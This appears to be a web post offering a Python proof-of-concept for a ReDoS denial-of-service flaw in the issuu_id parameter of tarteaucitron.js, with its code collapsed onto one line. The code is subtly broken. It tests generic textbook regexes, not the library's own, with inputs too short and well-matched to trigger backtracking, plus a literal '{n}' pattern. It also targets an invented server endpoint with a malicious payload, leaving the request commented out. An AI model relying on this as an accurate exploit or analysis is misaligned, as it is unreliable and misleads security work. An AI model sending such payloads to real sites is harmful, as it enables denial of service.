CVE-2026-22809: tarteaucitron.js issuu_id参数ReDoS拒绝服务漏洞

import re import time import requests # PoC for CVE-2026-22809 ReDoS in tarteaucitron.js issuu_id parameter # This demonstrates the catastrophic backtracking in vulnerable regex patterns # Simulating the vulnerable regex pattern (typical ReDoS pattern) def test_redos_pattern(): # Common vulnerable patterns that cause ReDoS vulnerable_patterns = [ r'(a+)+$', # Nested quantifiers r'(a|a)+$', # Overlapping alternatives r'(.*a){n}$', # Nested quantifiers with greedy .* ] # Malicious input that triggers catastrophic backtracking malicious_input = 'aaaa' + 'a' * 10 # Pattern that causes exponential backtracking print(f"Testing ReDoS vulnerability with input: {malicious_input}") print(f"Input length: {len(malicious_input)}") for pattern in vulnerable_patterns: print(f"\nTesting pattern: {pattern}") start_time = time.time() try: # This will cause significant delay with catastrophic backtracking result = re.match(pattern, malicious_input) elapsed = time.time() - start_time print(f"Match result: {result}, Time: {elapsed:.4f}s") except: print("Regex processing failed or timed out") # HTTP request simulation for exploiting the vulnerability def exploit_via_http(): """ Simulates HTTP request to trigger ReDoS in issuu_id parameter Target: https://vulnerable-site.com/tarteaucitron.js """ target_url = "https://vulnerable-site.com/api/issuu" # Malicious payload designed to trigger ReDoS malicious_payload = { "issuu_id": "a" * 30, # Payload that triggers catastrophic backtracking "action": "embed" } print(f"\n[!] Sending malicious request to {target_url}") print(f"[!] Payload: issuu_id = {malicious_payload['issuu_id']}") print("[!] This request may cause server resource exhaustion") # Note: Actual exploitation requires authenticated access to issuu_id parameter # return requests.post(target_url, data=malicious_payload) if __name__ == "__main__": print("=" * 60) print("CVE-2026-22809 PoC - ReDoS in tarteaucitron.js") print("=" * 60) test_redos_pattern() exploit_via_http() print("\n[*] PoC completed")